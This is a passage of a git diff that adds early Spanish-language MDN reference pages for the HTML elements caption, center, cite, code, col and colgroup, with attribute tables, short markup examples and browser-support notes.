+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>.</td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: "desconocido".</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr></td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: En castellano 'ltr'.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">align </span></a></td>
+   <td>Indica la alineación en relación a la tabla.</td>
+   <td>Uno de los siguientes: 'top', 'bottom', 'left', 'right'.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Ejemplo_simple" name="Ejemplo_simple">Ejemplo simple</h4>
+
+<p>El siguiente código:</p>
+
+<pre class="eval"><span class="nowiki">
+  &lt;table border='1'&gt;
+   &lt;caption&gt;Tabla con caption&lt;/caption&gt;
+    &lt;tr&gt; &lt;td&gt; tabla de una celda. &lt;/td&gt;  &lt;/tr&gt;
+  &lt;/table&gt;
+ </span>
+</pre>
+
+<p>Se visualiza así:</p>
+
+<div style="border: solid silver 1px;">
+<table>
+ <caption>Tabla con caption</caption>
+ <tbody>
+  <tr>
+   <td>tabla de una celda.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<ul>
+ <li>Debe ser el primer hijo del elemento table. una tabla solo puede tener uno.</li>
+</ul>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#h-11.2.2"><strong>caption</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-caption">comparativa</a>: IE6 vs IE7 vs FF1.5 vs OP9.</p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/center/index.html b/files/es/web/html/elemento/center/index.html
new file mode 100644
index 0000000000..1a24bbaf4b
--- /dev/null
+++ b/files/es/web/html/elemento/center/index.html
@@ -0,0 +1,116 @@
+---
+title: <center> (obsoleto)
+slug: Web/HTML/Elemento/center
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/center
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>{{obsolete_header()}}<br>
+ El elemento obsoleto <a href="es/HTML/Elemento/center">center</a> (centro) crea una caja en bloque con el contenido centrado. En realidad es equivalente a un <a href="es/HTML/Elemento/div">div</a> con <code>align="center"</code></p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;center&gt; y &lt;/center&gt; (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#desaprobado">Elemento desaprobado</a>.</dd>
+</dl>
+
+<blockquote>
+<dl>
+ <dt>Actualmente la mejor <a href="https://juanmcastro.es/tutoriales/como-centrar-texto-en-html/">forma de centrar texto no es con html</a>, con css tenemos infinidad de posibilidales para centrar el texto vertical, horizontal, izquierda, dercha, justificado y todo lo que necesitemos.</dt>
+</dl>
+</blockquote>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a> y <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td colspan="4">Ver atributos de transición.</td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición (Solo tiene los genéricos)</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>lista de clases separadas por espacios</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento, .</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>uno de los siguientes:"ltr" o "rtl"</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre>&lt;center&gt;
+ elemento center
+&lt;/center&gt;
+&lt;div align='center'&gt;
+ elemento div con: align='center'
+&lt;/div&gt;
+</pre>
diff --git a/files/es/web/html/elemento/cite/index.html b/files/es/web/html/elemento/cite/index.html
new file mode 100644
index 0000000000..237934b396
--- /dev/null
+++ b/files/es/web/html/elemento/cite/index.html
@@ -0,0 +1,147 @@
+---
+title: cite
+slug: Web/HTML/Elemento/cite
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/cite
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>cite</strong> -<em>cita</em> . Marca una referencia a una fuente, o el autor de un texto citado.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;cite&gt; y &lt;/cite&gt; (ambas obligatorias)</dd>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#defrase">Elemento de frase</a>, y por lo tanto <a href="es/HTML/Elemento/Tipos_de_elementos#enlinea">en línea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: En línea.</dd>
+ <dd><strong>Puede contener</strong>: Text y/o cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#enlinea">en línea</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="3"><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/scripts.html#events"><span style="color: green;">Eventos:</span></a> <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id=".C2.BFQui.C3.A9n_lo_dijo.3F" name=".C2.BFQui.C3.A9n_lo_dijo.3F">¿Quién lo dijo?</h4>
+
+<p>código:</p>
+
+<pre class="eval">&lt;p&gt; &lt;cite&gt;Galileo&lt;/cite&gt; dijo: "... y sin embargo, se mueve." &lt;/p&gt;
+</pre>
+
+<p><br>
+ Resultado:</p>
+
+<div style="border: solid silver 1px; margin-left: 1em;">
+<p><cite>Galileo</cite> dijo: "...y sin embargo, se mueve."</p>
+</div>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<p>En los navegadores basados en Mozilla (y en otros) el contenido de cite es mostrado con un estilo de texto en cursiva.</p>
+
+<pre class="eval">&lt;p&gt; &lt;cite&gt;Galileo&lt;/cite&gt; dijo: "... y sin embargo, se mueve." &lt;/p&gt;
+&lt;p&gt; &lt;span style='font-style: italic;'&gt;Galileo&lt;/span&gt; dijo: "... y sin embargo, se mueve." &lt;/p&gt;
+</pre>
+
+<p> </p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<ul>
+ <li>Está bastante estendido el mal uso de este elemento, mucha gente lo usa para marcar el texto de las citas en vez del autor, para marcar el texto están los elementos <a href="es/HTML/Elemento/q">q</a> (en línea) y <a href="es/HTML/Elemento/blockquote">blockquote</a> (en bloque).</li>
+</ul>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>Los elementos de frase <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/text.html#edef-CITE">en la especificación</a> de html 4.01</li>
+</ul>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-cite">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/code/index.html b/files/es/web/html/elemento/code/index.html
new file mode 100644
index 0000000000..dfcac59bfd
--- /dev/null
+++ b/files/es/web/html/elemento/code/index.html
@@ -0,0 +1,110 @@
+---
+title: code
+slug: Web/HTML/Elemento/code
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/code
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Es el apropiado para marcar el código de un programa.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;code&gt; y &lt;/code&gt; (ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_frase">Elemento de frase</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>CDATA</td>
+   <td>implícito</td>
+   <td>lista de clases separadas por espacios.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>(ltr|rtl)</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">&lt;code&gt;
+<span class="nowiki"> #include main() { for(;;) { printf ("Hello World!\n"); } } </span>
+&lt;/code&gt;
+</pre>
diff --git a/files/es/web/html/elemento/col/index.html b/files/es/web/html/elemento/col/index.html
new file mode 100644
index 0000000000..4f8c415f87
--- /dev/null
+++ b/files/es/web/html/elemento/col/index.html
@@ -0,0 +1,177 @@
+---
+title: col
+slug: Web/HTML/Elemento/col
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/col
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Permite especificar propiedades para una columna o un grupo de ellas.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;col&gt;</code> (solo tiene una).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: No.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#para_tablas">para tablas.</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: Nada.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.3">Texto legible</a>. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-cdata">cdata</a></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>.</td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: "desconocido".</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr></td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: En castellano 'ltr'.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-span-COL"><span style="color: green;">span </span></a></td>
+   <td>Indica el número de columnas afectadas.</td>
+   <td>Un número.</td>
+   <td><abbr title="Por defecto">PD.</abbr>: 1.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-width-COL"><span style="color: green;">width </span></a></td>
+   <td>Indica la anchura de las columnas.</td>
+   <td>Una longitud expresada en píxeles, porcentaje o relativa.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-align-TD"><span style="color: green;">align </span></a></td>
+   <td>Indica la alineación horizontal.</td>
+   <td>Uno de los siguientes: (left|center|right|justify|char).</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-char"><span style="color: green;">char </span></a></td>
+   <td>Carácter que se usará como punto de alineación.</td>
+   <td>Un carácter, Uno de estos: {{ mediawiki.external('ISO10646') }}.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-charoff"><span style="color: green;">charoff </span></a></td>
+   <td>offset del carácter de alineación.</td>
+   <td>Una longitud expresada en píxeles o porcentaje.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#adef-valign"><span style="color: green;">valign </span></a></td>
+   <td>Indica la alineación vertical de los contenidos de las celdas.</td>
+   <td>Uno de los siguientes: (top|middle|bottom|baseline).</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="bla_bla" name="bla_bla">bla bla</h4>
+
+<pre class="eval"><span class="nowiki">
+
+ </span>
+</pre>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#edef-COL."><strong>col</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-col">comparativa</a>: IE6 vs IE7 vs FF1.5 vs OP9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/colgroup/index.html b/files/es/web/html/elemento/colgroup/index.html
new file mode 100644
index 0000000000..da87284232
--- /dev/null
+++ b/files/es/web/html/elemento/colgroup/index.html
@@ -0,0 +1,163 @@
+---
+title: colgroup
+slug: Web/HTML/Elemento/colgroup
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/colgroup
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>colgroup</strong> de column group = Grupo de columnas. Permite crear <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/tables.html#h-11.2.4">grupos de columnas</a>.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;colgroup&gt;</code> y <code>&lt;/colgroup&gt;</code> (la de cierre es opcional).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: No.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#para_tablas">para tablas</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: Cero o más elementos <a href="es/HTML/Elemento/col">col</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.3">Texto legible</a>. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-cdata">cdata</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
